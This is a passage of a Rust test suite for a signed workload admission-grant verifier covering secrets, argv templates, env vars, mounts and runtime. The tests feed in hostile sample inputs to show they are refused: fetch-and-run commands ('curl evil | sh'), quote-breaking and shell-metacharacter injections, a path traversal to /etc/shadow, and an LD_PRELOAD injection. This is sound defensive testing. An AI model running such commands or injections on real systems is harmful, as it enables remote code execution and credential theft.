1454 template.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1455 let grant = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1456 let mut spec = dispatched_spec();
1457 spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1458 (spec, grant)
1459 }
1460
1461 /// Reproduce what yubaba's `deploy::secret_mount::materialize_file_secrets`
1462 /// does to a spec before the backend — and therefore before kamaji's own
1463 /// admission check — sees it: the mount is gone and a read-only bind of the
1464 /// tmpfs file has taken its place.
1465 fn materialize(spec: &mut WorkloadSpec) {
1466 let ident = spec.expose.mesh.identity.0.clone();
1467 let mounts = std::mem::take(&mut spec.secrets);
1468 for m in mounts {
1469 let SecretTarget::File { path, .. } = &m.target else {
1470 spec.secrets.push(m);
1471 continue;
1472 };
1473 spec.volumes.push(VolumeMount {
1474 source: VolumeSource::Bind {
1475 host_path: crate::secret_mount::materialized_host_path(
1476 std::path::Path::new(crate::secret_mount::HOST_ROOT),
1477 &ident,
1478 path,
1479 ),
1480 },
1481 target: path.clone(),
1482 read_only: true,
1483 from_secret_mount: true,
1484 });
1485 }
1486 }
1487
1488 #[test]
1489 fn a_grant_carries_the_secrets_it_was_cut_from() {
1490 let (_, g) = spec_and_grant_with_a_secret();
1491 assert_eq!(
1492 g.secrets,
1493 vec![GrantSecret {
1494 source: SecretRef::Cluster {
1495 name: "r2-write".into()
1496 },
1497 path: PathBuf::from(R2_PATH),
1498 mode: 0o400,
1499 }]
1500 );
1501 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1502 }
1503
1504 #[test]
1505 fn several_secrets_round_trip_in_order() {
1506 let mut g = grant();
1507 g.secrets = vec![
1508 GrantSecret {
1509 source: SecretRef::Cluster {
1510 name: "r2-write".into(),
1511 },
1512 path: PathBuf::from("/run/yah/r2.json"),
1513 mode: 0o400,
1514 },
1515 GrantSecret {
1516 source: SecretRef::LocalFile {
1517 path: PathBuf::from("/var/lib/yah/yubaba/secrets/cosign"),
1518 },
1519 path: PathBuf::from("/run/yah/cosign.key"),
1520 mode: 0o400,
1521 },
1522 ];
1523 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1524 }
1525
1526 /// Why the entry is four records instead of one joined string: joining
1527 /// needs a separator, and a separator occurring inside a secret name or a
1528 /// mount path makes two different allow-lists encode identically — which
1529 /// would mean a signature over one authorizing the other.
1530 #[test]
1531 fn two_different_allow_lists_cannot_encode_the_same() {
1532 let mut a = grant();
1533 a.secrets = vec![GrantSecret {
1534 source: SecretRef::Cluster {
1535 name: "r2 /run/yah/x".into(),
1536 },
1537 path: PathBuf::from("/run/yah/r2.json"),
1538 mode: 0o400,
1539 }];
1540 let mut b = grant();
1541 b.secrets = vec![GrantSecret {
1542 source: SecretRef::Cluster { name: "r2".into() },
1543 path: PathBuf::from("/run/yah/x /run/yah/r2.json"),
1544 mode: 0o400,
1545 }];
1546 assert_ne!(a.encode(), b.encode());
1547 assert_eq!(AdmissionGrant::parse(&a.encode()).unwrap(), a);
1548 assert_eq!(AdmissionGrant::parse(&b.encode()).unwrap(), b);
1549 }
1550
1551 #[test]
1552 fn parse_refuses_a_malformed_secret_entry() {
1553 let g = {
1554 let (_, g) = spec_and_grant_with_a_secret();
1555 g
1556 };
1557 let encoded = g.encode();
1558
1559 // A source kind the verifier does not know is an error, not a guess.
1560 let bad_kind = encoded.replacen("cluster\n", "vault\n", 1);
1561 assert!(matches!(
1562 AdmissionGrant::parse(&bad_kind).unwrap_err(),
1563 GrantError::BadValue {
1564 label: "secret.source-kind",
1565 ..
1566 } | GrantError::Truncated { .. }
1567 ));
1568
1569 // A relative mount path would resolve against the container's workdir,
1570 // so what the signer authorized would depend on a field the grant
1571 // template-matches rather than compares.
1572 let relative = encoded.replacen(
1573 &format!("secret.path {}\n{R2_PATH}", R2_PATH.len()),
1574 "secret.path 8\nr2.json ",
1575 1,
1576 );
1577 assert!(AdmissionGrant::parse(&relative).is_err());
1578 }
1579
1580 #[test]
1581 fn a_declared_secret_is_admitted() {
1582 let (spec, g) = spec_and_grant_with_a_secret();
1583 g.covers(&spec).unwrap();
1584 }
1585
1586 #[test]
1587 fn a_secret_the_grant_does_not_admit_is_refused() {
1588 let mut spec = dispatched_spec();
1589 spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1590 let err = grant().covers(&spec).unwrap_err();
1591 assert!(
1592 matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1593 "{err}"
1594 );
1595 }
1596
1597 /// The headline hole R555-F5 exists to close: the argv, the image and the
1598 /// env NAMES all still match the signature, and only the credential the run
1599 /// reads has been swapped.
1600 #[test]
1601 fn swapping_the_credential_under_an_admitted_mount_is_refused() {
1602 let (mut spec, g) = spec_and_grant_with_a_secret();
1603 spec.secrets = vec![cluster_mount("cosign-signing-key", R2_PATH, 0o400)];
1604 let err = g.covers(&spec).unwrap_err();
1605 assert!(
1606 matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1607 "{err}"
1608 );
1609 assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1610 }
1611
1612 /// Mode is in the signed body, so widening it is a different grant.
1613 #[test]
1614 fn loosening_the_file_mode_is_refused() {
1615 let (mut spec, g) = spec_and_grant_with_a_secret();
1616 spec.secrets = vec![cluster_mount("r2-write", R2_PATH, 0o444)];
1617 assert!(g.covers(&spec).is_err());
1618 }
1619
1620 #[test]
1621 fn an_env_target_secret_mount_is_refused_rather_than_admitted() {
1622 let env_mount = SecretMount {
1623 source: SecretRef::Cluster {
1624 name: "r2-write".into(),
1625 },
1626 target: SecretTarget::EnvVar {
1627 name: "R2_TOKEN".into(),
1628 },
1629 };
1630 let mut template = template_spec();
1631 template.secrets.push(env_mount.clone());
1632 // Signing one produces a grant that does not cover it, so the refusal
1633 // is reachable at signing time and not only on the node.
1634 let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1635 assert!(g.secrets.is_empty());
1636
1637 let mut spec = dispatched_spec();
1638 spec.secrets.push(env_mount);
1639 let err = g.covers(&spec).unwrap_err();
1640 assert!(
1641 matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1642 "{err}"
1643 );
1644 }
1645
1646 /// The second half of the same hole: `env_names` admits `R2_TOKEN`, and the
1647 /// VALUE selects which secret is read.
1648 #[test]
1649 fn an_env_var_resolved_from_a_secret_is_refused_even_when_its_name_is_admitted() {
1650 let mut template = template_spec();
1651 template.env.push(EnvVar {
1652 name: "R2_TOKEN".into(),
1653 value: EnvValue::Literal {
1654 value: "placeholder".into(),
1655 },
1656 });
1657 let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1658 assert!(g.env_names.contains(&"R2_TOKEN".to_string()));
1659
1660 let mut spec = dispatched_spec();
1661 spec.env = vec![EnvVar {
1662 name: "R2_TOKEN".into(),
1663 value: EnvValue::FromSecret {
1664 secret: "cosign-signing-key".into(),
1665 key: "seed".into(),
1666 },
1667 }];
1668 let err = g.covers(&spec).unwrap_err();
1669 assert!(matches!(&err, AdmissionError::Mismatch { field: "env", .. }), "{err}");
1670 assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1671 }
1672
1673 // ── the yubaba rewrite (R555-F5) ─────────────────────────────────────────
1674
1675 /// kamaji checks the spec AFTER yubaba has turned the mount into a bind.
1676 /// Without this, a signed recipe that uses a secret is refused by the bind
1677 /// rule with a message about a forge state root it never asked for.
1678 #[test]
1679 fn the_materialized_bind_yubaba_injects_is_admitted() {
1680 let (mut spec, g) = spec_and_grant_with_a_secret();
1681 materialize(&mut spec);
1682 assert!(spec.secrets.is_empty(), "materialization consumes the mount");
1683 assert_eq!(spec.volumes.len(), 2, "produced dir + the secret bind");
1684 g.covers(&spec).unwrap();
1685 }
1686
1687 #[test]
1688 fn a_materialized_bind_for_another_workloads_ident_is_refused() {
1689 let (mut spec, g) = spec_and_grant_with_a_secret();
1690 materialize(&mut spec);
1691 // Same container path, same grant — but the host file belongs to the
1692 // ingress workload's secret dir.
1693 for v in &mut spec.volumes {
1694 if let VolumeSource::Bind { host_path } = &mut v.source {
1695 if host_path.starts_with(crate::secret_mount::HOST_ROOT) {
1696 *host_path = crate::secret_mount::materialized_host_path(
1697 std::path::Path::new(crate::secret_mount::HOST_ROOT),
1698 "ingress",
1699 std::path::Path::new(R2_PATH),
1700 );
1701 }
1702 }
1703 }
1704 let err = g.covers(&spec).unwrap_err();
1705 assert!(
1706 matches!(&err, AdmissionError::Mismatch { field: "volumes", .. }),
1707 "{err}"
1708 );
1709 }
1710
1711 #[test]
1712 fn a_writable_bind_at_an_admitted_secret_path_is_refused() {
1713 let (mut spec, g) = spec_and_grant_with_a_secret();
1714 materialize(&mut spec);
1715 for v in &mut spec.volumes {
1716 if v.target == PathBuf::from(R2_PATH) {
1717 v.read_only = false;
1718 }
1719 }
1720 assert!(g.covers(&spec).is_err());
1721 }
1722
1723 #[test]
1724 fn a_secret_bind_the_grant_never_admitted_is_refused() {
1725 let mut spec = dispatched_spec();
1726 let ident = spec.expose.mesh.identity.0.clone();
1727 spec.volumes.push(VolumeMount {
1728 source: VolumeSource::Bind {
1729 host_path: crate::secret_mount::materialized_host_path(
1730 std::path::Path::new(crate::secret_mount::HOST_ROOT),
1731 &ident,
1732 std::path::Path::new(R2_PATH),
1733 ),
1734 },
1735 target: PathBuf::from(R2_PATH),
1736 read_only: true,
1737 from_secret_mount: true,
1738 });
1739 // The grant here declares no secrets at all: the exemption is keyed on
1740 // the allow-list, not on the path shape.
1741 assert!(grant().covers(&spec).is_err());
1742 }
1743
1744 // ── encoding ─────────────────────────────────────────────────────────────
1745
1746 #[test]
1747 fn encode_parse_round_trips() {
1748 let g = grant();
1749 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1750 }
1751
1752 #[test]
1753 fn encode_survives_a_value_containing_a_newline() {
1754 // A `bash -c` recipe step routinely embeds one; the length prefix is
1755 // what makes that need no escaping.
1756 let mut g = grant();
1757 g.argv = vec!["bash".into(), "-c".into(), "set -e\necho hi\n".into()];
1758 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1759 }
1760
1761 #[test]
1762 fn absent_workdir_round_trips_distinctly_from_an_empty_one() {
1763 let mut absent = grant();
1764 absent.workdir = None;
1765 let mut empty = grant();
1766 empty.workdir = Some(String::new());
1767 assert_ne!(absent.encode(), empty.encode());
1768 assert_eq!(AdmissionGrant::parse(&absent.encode()).unwrap(), absent);
1769 assert_eq!(AdmissionGrant::parse(&empty.encode()).unwrap(), empty);
1770 }
1771
1772 #[test]
1773 fn parse_rejects_a_foreign_document() {
1774 assert_eq!(
1775 AdmissionGrant::parse("yah-admission-grant/v3\n").unwrap_err(),
1776 GrantError::BadMagic
1777 );
1778 }
1779
1780 /// R555-F5 bumped the format to v2 (the `secret` allow-list). A v1 document
1781 /// must be refused at the magic line — the version skew is the whole reason
1782 /// the magic doubles as a version, and "refuses loudly" is the only safe
1783 /// answer when the missing field is the one that says what may be read.
1784 #[test]
1785 fn a_v1_grant_is_refused_rather_than_read_as_granting_no_secrets() {
1786 let v1 = grant().encode().replacen(GRANT_MAGIC, "yah-admission-grant/v1", 1);
1787 assert_eq!(AdmissionGrant::parse(&v1).unwrap_err(), GrantError::BadMagic);
1788 }
1789
1790 #[test]
1791 fn parse_rejects_trailing_bytes() {
1792 let text = format!("{}{}", grant().encode(), "extra");
1793 assert!(matches!(
1794 AdmissionGrant::parse(&text).unwrap_err(),
1795 GrantError::Trailing(5)
1796 ));
1797 }
1798
1799 #[test]
1800 fn parse_rejects_a_reordered_record() {
1801 let text = grant().encode().replacen("recipe ", "tier ", 1);
1802 assert!(matches!(
1803 AdmissionGrant::parse(&text).unwrap_err(),
1804 GrantError::UnexpectedLabel { .. }
1805 ));
1806 }
1807
1808 #[test]
1809 fn parse_rejects_a_length_that_does_not_match_its_value() {
1810 let text = grant().encode().replacen("recipe 13\n", "recipe 99\n", 1);
1811 assert!(matches!(
1812 AdmissionGrant::parse(&text).unwrap_err(),
1813 GrantError::Truncated { .. }
1814 ));
1815 }
1816
1817 // ── template matching ────────────────────────────────────────────────────
1818
1819 #[test]
1820 fn a_template_without_holes_is_compared_verbatim() {
1821 assert!(template_matches("/app/quantize", "/app/quantize"));
1822 assert!(!template_matches("/app/quantize", "/app/quantize2"));
1823 }
1824
1825 #[test]
1826 fn holes_accept_the_values_the_materialize_path_substitutes() {
1827 assert!(template_matches(
1828 "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1829 "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1830 ));
1831 }
1832
1833 #[test]
1834 fn a_hole_may_not_break_out_of_the_quoting_the_recipe_wrote() {
1835 // The whole security argument for matching templates rather than
1836 // literals: a param that closes the author's quote and appends a
1837 // command must not be an instantiation of the template.
1838 assert!(!template_matches(
1839 "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1840 "build-v8.sh 'x86'; curl evil | sh; echo '' '/yah/produced/a.out'",
1841 ));
1842 for hostile in [
1843 "a$(id)b", "a`id`b", "a;id", "a|id", "a&id", "a>f", "a<f", "a\\b", "a\nb",
1844 ] {
1845 assert!(!hole_is_safe(hostile), "{hostile:?} must not be a safe hole");
1846 }
1847 }
1848
1849 #[test]
1850 fn a_hole_may_not_traverse_out_of_the_directory_it_names() {
1851 assert!(!template_matches(
1852 "cp '{{YAH_TRANSFORM_OUT}}'",
1853 "cp '/yah/produced/../../etc/shadow'",
1854 ));
1855 }
1856
1857 #[test]
1858 fn a_trailing_hole_consumes_the_rest() {
1859 assert!(template_matches("prefix-{{x}}", "prefix-value"));
1860 assert!(!template_matches("prefix-{{x}}", "nope-value"));
1861 assert!(!template_matches("prefix-{{x}}", "prefix-va;lue"));
1862 }
1863
1864 #[test]
1865 fn an_unterminated_placeholder_is_literal_text() {
1866 // Mirrors `substitute_argv`, which preserves an unterminated `{{`
1867 // verbatim — so a template containing one is compared verbatim too.
1868 assert!(template_matches("echo {{oops", "echo {{oops"));
1869 assert!(!template_matches("echo {{oops", "echo anything"));
1870 }
1871
1872 // ── coverage ─────────────────────────────────────────────────────────────
1873
1874 #[test]
1875 fn a_grant_covers_the_dispatch_it_was_cut_for() {
1876 grant().covers(&dispatched_spec()).unwrap();
1877 }
1878
1879 #[test]
1880 fn a_swapped_image_is_not_covered() {
1881 let mut spec = dispatched_spec();
1882 spec.image.digest = format!("sha256:{}", "0".repeat(64));
1883 assert!(matches!(
1884 grant().covers(&spec).unwrap_err(),
1885 AdmissionError::Mismatch { field: "image", .. }
1886 ));
1887 }
1888
1889 #[test]
1890 fn a_swapped_tag_on_the_same_digest_is_not_covered() {
1891 // The digest is the identity, but the tag rides in the payload too:
1892 // re-tagging is a provenance change the grant's author did not sign.
1893 let mut spec = dispatched_spec();
1894 spec.image.tag = "latest".into();
1895 assert!(matches!(
1896 grant().covers(&spec).unwrap_err(),
1897 AdmissionError::Mismatch { field: "image", .. }
1898 ));
1899 }
1900
1901 #[test]
1902 fn an_appended_argv_element_is_not_covered() {
1903 let mut spec = dispatched_spec();
1904 spec.command.as_mut().unwrap().push("; curl evil | sh".into());
1905 assert!(matches!(
1906 grant().covers(&spec).unwrap_err(),
1907 AdmissionError::Mismatch { field: "argv", .. }
1908 ));
1909 }
1910
1911 #[test]
1912 fn a_rewritten_argv_literal_is_not_covered() {
1913 let spec = forge_spec(&["evil.sh 'x86_64-unknown-linux-musl' '/yah/produced/a.out'"]);
1914 assert!(matches!(
1915 grant().covers(&spec).unwrap_err(),
1916 AdmissionError::Mismatch { field: "argv", .. }
1917 ));
1918 }
1919
1920 #[test]
1921 fn an_unlisted_env_var_is_not_covered() {
1922 // LD_PRELOAD is code injection that touches neither image nor argv,
1923 // which is exactly why env names are in the payload.
1924 let mut spec = dispatched_spec();
1925 spec.env.push(EnvVar {
1926 name: "LD_PRELOAD".into(),
1927 value: EnvValue::Literal {
1928 value: "/tmp/evil.so".into(),
1929 },
1930 });
1931 assert!(matches!(
1932 grant().covers(&spec).unwrap_err(),
1933 AdmissionError::Mismatch { field: "env", .. }
1934 ));
1935 }
1936
1937 #[test]
1938 fn a_listed_env_var_is_covered_whatever_its_value() {
1939 let mut template = template_spec();
1940 template.env.push(EnvVar {
1941 name: "YAH_PRODUCED_DIR".into(),
1942 value: EnvValue::Literal { value: "".into() },
1943 });
1944 let g = AdmissionGrant::from_spec("r", &template);
1945 let mut spec = dispatched_spec();
1946 spec.env.push(EnvVar {
1947 name: "YAH_PRODUCED_DIR".into(),
1948 value: EnvValue::Literal {
1949 value: "/var/lib/yah/qed/produced/abc123".into(),
1950 },
1951 });
1952 g.covers(&spec).unwrap();
1953 }
1954
1955 #[test]
1956 fn an_ungranted_nested_sandbox_request_is_not_covered() {
1957 let mut spec = dispatched_spec();
1958 spec.annotations.insert(
1959 crate::NESTED_SANDBOX_ANNOTATION.into(),
1960 crate::NESTED_SANDBOX_VALUE.into(),
1961 );
1962 assert!(matches!(
1963 grant().covers(&spec).unwrap_err(),
1964 AdmissionError::Mismatch {
1965 field: "nested-sandbox",
1966 ..
1967 }
1968 ));
1969 }
1970
1971 #[test]
1972 fn requesting_less_privilege_than_granted_is_covered() {
1973 // Implication, not equality — a spec that drops host networking is
1974 // still within what the author vouched for.
1975 let mut spec = dispatched_spec();
1976 spec.annotations.remove(crate::HOST_NETWORK_ANNOTATION);
1977 grant().covers(&spec).unwrap();
1978 }
1979
1980 #[test]
1981 fn a_bind_mount_outside_the_forge_state_root_is_not_covered() {
1982 // The one execution-determining field the grant cannot enumerate (the
1983 // produced dir is per-run), so it is bounded structurally instead.
1984 let mut spec = dispatched_spec();
1985 spec.volumes.push(VolumeMount {
1986 source: VolumeSource::Bind {
1987 host_path: PathBuf::from("/etc"),
1988 },
1989 target: PathBuf::from("/host-etc"),
1990 read_only: false,
1991 from_secret_mount: false,
1992 });
1993 assert!(matches!(
1994 grant().covers(&spec).unwrap_err(),
1995 AdmissionError::Mismatch {
1996 field: "volumes",
1997 ..
1998 }
1999 ));
2000 }
2001
2002 #[test]
2003 fn a_native_exec_spec_is_not_covered_by_a_container_grant() {
2004 let mut spec = dispatched_spec();
2005 spec.annotations.insert(
2006 crate::NATIVE_EXEC_ANNOTATION.into(),
2007 crate::NATIVE_EXEC_VALUE.into(),
2008 );
2009 assert!(matches!(
2010 grant().covers(&spec).unwrap_err(),
2011 AdmissionError::Mismatch {
2012 field: "runtime",
2013 ..
2014 }
2015 ));
2016 }
2017
2018 #[test]
2019 fn a_microvm_spec_is_not_covered_by_a_container_grant() {
2020 // R605-F8. The direction here is the counter-intuitive one and is
2021 // deliberate: a microVM is a *stronger* boundary than the container the
2022 // grant admits, and it is still refused. A grant states the runtime it
2023 // was cut for, and "stronger, therefore close enough" is exactly the
2024 // reasoning that makes a signed statement stop meaning anything — the
2025 // fix is to re-sign for `microvm`, not to widen the comparison.
2026 let mut spec = dispatched_spec();
2027 spec.annotations.insert(
2028 crate::NATIVE_EXEC_ANNOTATION.into(),
2029 crate::MICROVM_EXEC_VALUE.into(),
2030 );
2031 assert!(matches!(
2032 grant().covers(&spec).unwrap_err(),
2033 AdmissionError::Mismatch {
2034 field: "runtime",
2035 ..
2036 }
2037 ));
2038 }
2039
2040 #[test]
2041 fn a_microvm_grant_round_trips_through_the_signing_encoding() {
2042 // The parse arm is the one that can silently rot: `as_str` writes
2043 // "microvm" and `parse` has to know it, or every microVM grant becomes
2044 // an unverifiable BadValue the moment it is read back.
2045 let mut spec = dispatched_spec();
2046 spec.annotations.insert(
2047 crate::NATIVE_EXEC_ANNOTATION.into(),
2048 crate::MICROVM_EXEC_VALUE.into(),
2049 );
2050 let cut = AdmissionGrant::from_spec("forge", &spec);
2051 assert_eq!(cut.runtime, GrantRuntime::MicroVm);
2052
2053 let back = AdmissionGrant::parse(&cut.encode()).expect("parse round-trip");
2054 assert_eq!(back.runtime, GrantRuntime::MicroVm);
2055 back.covers(&spec).expect("a microvm grant covers its own spec");
2056 }
2057
2058 #[test]
2059 fn a_tier_escalation_is_not_covered() {
2060 let mut spec = dispatched_spec();
2061 spec.tier = TierTag("tenant".into());
2062 assert!(matches!(
2063 grant().covers(&spec).unwrap_err(),
2064 AdmissionError::Mismatch { field: "tier", .. }
2065 ));
2066 // And the mesh identity is untouched by any of this — the grant says
2067 // nothing about which forge run this is, on purpose.
2068 assert_eq!(spec.expose.mesh.identity, MeshIdent("forge.abc123".into()));
2069 }
2070
2071 #[test]
2072 fn policy_parse_rejects_a_typo_rather_than_falling_back() {
2073 assert_eq!(Policy::parse("required").unwrap(), Policy::Required);
2074 assert_eq!(Policy::parse(" permissive ").unwrap(), Policy::Permissive);
2075 assert_eq!(Policy::parse("disabled").unwrap(), Policy::Disabled);
2076 assert!(Policy::parse("Required").is_err());
2077 assert!(Policy::parse("on").is_err());
2078 assert_eq!(Policy::default(), Policy::Permissive);
2079 }
2080
2081 #[test]
2082 fn image_ref_string_is_stable_and_pins_the_digest() {
2083 assert_eq!(image_ref_string(&image()), format!("{IMAGE}:v149.4.0@{DIGEST}"));
2084 }
2085}
2086
2087#[cfg(all(test, feature = "admission-verify"))]
2088mod verify_tests {
2089 use super::tests::{dispatched_spec, grant};
2090 use super::*;
2091
2092 fn key() -> ed25519_dalek::SigningKey {
2093 ed25519_dalek::SigningKey::from_bytes(&[7u8; 32])
2094 }
2095
2096 fn public_hex(k: &ed25519_dalek::SigningKey) -> String {
2097 hex::encode(k.verifying_key().to_bytes())
2098 }
2099
2100 /// A dispatched spec carrying a genuine grant signed by `key()`.
2101 fn signed_dispatch() -> (WorkloadSpec, Vec<String>) {
2102 let k = key();
2103 let g = grant();
2104 let encoded = g.encode();
2105 let sig = sign_grant(&encoded, &k);
2106 let pk = public_hex(&k);
2107 let mut spec = dispatched_spec();
2108 attach(&mut spec, &encoded, &sig, &pk);
2109 (spec, vec![pk])
2110 }
2111
2112 #[test]
2113 fn a_signed_dispatch_is_admitted() {
2114 let (spec, trusted) = signed_dispatch();
2115 admit(&spec, Policy::Permissive, &trusted).unwrap();
2116 admit(&spec, Policy::Required, &trusted).unwrap();
2117 }
2118
2119 #[test]
2120 fn an_unsigned_workload_passes_permissive_and_fails_required() {
2121 let spec = dispatched_spec();
2122 admit(&spec, Policy::Permissive, &[]).unwrap();
2123 assert!(matches!(
2124 admit(&spec, Policy::Required, &[]).unwrap_err(),
2125 AdmissionError::GrantRequired { .. }
2126 ));
2127 }
2128
2129 #[test]
2130 fn the_nested_sandbox_widening_always_needs_a_grant() {
2131 // W235 §Reshaping's ordering constraint ("B2's widening is defensible
2132 // only once F4's admission gate exists"), enforced by code rather than
2133 // by sequencing discipline: permissive is not permissive about THIS.
2134 let mut spec = dispatched_spec();
2135 spec.annotations.insert(
2136 crate::NESTED_SANDBOX_ANNOTATION.into(),
2137 crate::NESTED_SANDBOX_VALUE.into(),
2138 );
2139 assert!(matches!(
2140 admit(&spec, Policy::Permissive, &[]).unwrap_err(),
2141 AdmissionError::GrantRequired { .. }
2142 ));
2143 // ...and `disabled` is the one escape hatch that turns it off.
2144 admit(&spec, Policy::Disabled, &[]).unwrap();
2145 }
2146
2147 #[test]
2148 fn a_native_spec_carrying_the_widening_is_kamajis_shape_refusal_not_ours() {
2149 // Both markers set is an INCOHERENT spec — the widening is an OCI
2150 // capability set and a fork+exec workload has no OCI spec — so kamaji
2151 // refuses the pair with a message that explains that (R577-T1). If
2152 // admission claimed it first, the operator would get "not admitted" for
2153 // a spec whose actual problem is that it asks for something that cannot
2154 // exist. There is no privilege to protect, so we step aside.
2155 let mut spec = dispatched_spec();
2156 spec.annotations.insert(
2157 crate::NESTED_SANDBOX_ANNOTATION.into(),
2158 crate::NESTED_SANDBOX_VALUE.into(),
2159 );
2160 spec.annotations.insert(
2161 crate::NATIVE_EXEC_ANNOTATION.into(),
2162 crate::NATIVE_EXEC_VALUE.into(),
2163 );
2164 admit(&spec, Policy::Permissive, &[]).unwrap();
2165 // `required` still requires — the exception narrows the unconditional
2166 // rule, it does not punch a hole in the policy.
2167 assert!(matches!(
2168 admit(&spec, Policy::Required, &[]).unwrap_err(),
2169 AdmissionError::GrantRequired { .. }
2170 ));
2171 }
2172
2173 #[test]
2174 fn an_untrusted_key_is_refused_before_any_crypto_runs() {
2175 let (spec, _) = signed_dispatch();
2176 assert!(matches!(
2177 admit(&spec, Policy::Permissive, &["ff".repeat(32)]).unwrap_err(),
2178 AdmissionError::UntrustedKey { .. }
2179 ));
2180 }
2181
2182 #[test]
2183 fn required_with_no_pinned_keys_refuses_everything() {
2184 // Pinning nothing means trusting nothing. An operator who flips a node
2185 // to `required` without configuring keys gets a loud outage, not a
2186 // quiet no-op gate.
2187 let (spec, _) = signed_dispatch();
2188 assert!(matches!(
2189 admit(&spec, Policy::Required, &[]).unwrap_err(),
2190 AdmissionError::UntrustedKey { .. }
2191 ));
2192 }
2193
2194 #[test]
2195 fn a_signature_from_a_different_key_does_not_verify() {
2196 let other = ed25519_dalek::SigningKey::from_bytes(&[9u8; 32]);
2197 let g = grant();
2198 let encoded = g.encode();
2199 let mut spec = dispatched_spec();
2200 // Claim the trusted key while signing with another one.
2201 attach(
2202 &mut spec,
2203 &encoded,
2204 &sign_grant(&encoded, &other),
2205 &public_hex(&key()),
2206 );
2207 assert!(matches!(
2208 admit(&spec, Policy::Permissive, &[public_hex(&key())]).unwrap_err(),
2209 AdmissionError::SignatureMismatch
2210 ));
2211 }
2212
2213 #[test]
2214 fn widening_the_grant_after_signing_does_not_verify() {
2215 // The R710-S1 failure mode, checked directly: take a legitimately
2216 // signed grant and flip the privilege bit it vouches for.
2217 let (mut spec, trusted) = signed_dispatch();
2218 let tampered = spec
2219 .annotations
2220 .get(GRANT_ANNOTATION)
2221 .unwrap()
2222 .replace("nested-sandbox 5\nfalse\n", "nested-sandbox 4\ntrue\n");
2223 spec.annotations
2224 .insert(GRANT_ANNOTATION.into(), tampered.clone());
2225 assert!(tampered.contains("nested-sandbox 4\ntrue"));
2226 assert!(matches!(
2227 admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2228 AdmissionError::SignatureMismatch
2229 ));
2230 }
2231
2232 #[test]
2233 fn tampering_with_the_spec_under_a_valid_signature_is_caught_by_coverage() {
2234 // The signature still verifies — nothing about the grant changed — so
2235 // this is the check that `covers` exists for.
2236 let (mut spec, trusted) = signed_dispatch();
2237 spec.command = Some(vec!["curl evil | sh".into()]);
2238 assert!(matches!(
2239 admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2240 AdmissionError::Mismatch { field: "argv", .. }
2241 ));
2242 }
2243
2244 #[test]
2245 fn a_partial_annotation_set_is_an_error_not_an_absence() {
2246 // Stripping the signature must not read as "unsigned, let it through".
2247 let (mut spec, trusted) = signed_dispatch();
2248 spec.annotations.remove(GRANT_SIGNATURE_ANNOTATION);
2249 assert!(matches!(
2250 admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2251 AdmissionError::Incomplete {
2252 missing: GRANT_SIGNATURE_ANNOTATION
2253 }
2254 ));
2255 }
2256
2257 #[test]
2258 fn disabled_admits_a_workload_with_a_broken_grant() {
2259 let (mut spec, _) = signed_dispatch();
2260 spec.annotations
2261 .insert(GRANT_SIGNATURE_ANNOTATION.into(), "not-hex".into());
2262 admit(&spec, Policy::Disabled, &[]).unwrap();
2263 }
2264}
2265
2266#[cfg(all(test, feature = "admission-verify"))]
2267mod node_posture_tests {
2268 use super::*;
2269
2270 #[test]
2271 fn unset_is_permissive_with_no_keys() {
2272 let n = NodeAdmission::from_vars(None, None);
2273 assert_eq!(n.policy, Policy::Permissive);
2274 assert!(n.trusted_keys.is_empty());
2275 }
2276
2277 #[test]
2278 fn a_typo_fails_closed_to_required() {
2279 // The whole point: setting the variable and having it silently ignored
2280 // is the failure mode an operator cannot detect.
2281 assert_eq!(
2282 NodeAdmission::from_vars(Some("Required"), None).policy,
2283 Policy::Required
2284 );
2285 assert_eq!(
2286 NodeAdmission::from_vars(Some("yes"), None).policy,
2287 Policy::Required
2288 );
2289 }
2290
2291 #[test]
2292 fn keys_are_split_trimmed_and_emptied() {
2293 let n = NodeAdmission::from_vars(Some("required"), Some(" aa , bb ,, "));
2294 assert_eq!(n.policy, Policy::Required);
2295 assert_eq!(n.trusted_keys, vec!["aa".to_string(), "bb".to_string()]);
2296 }
2297}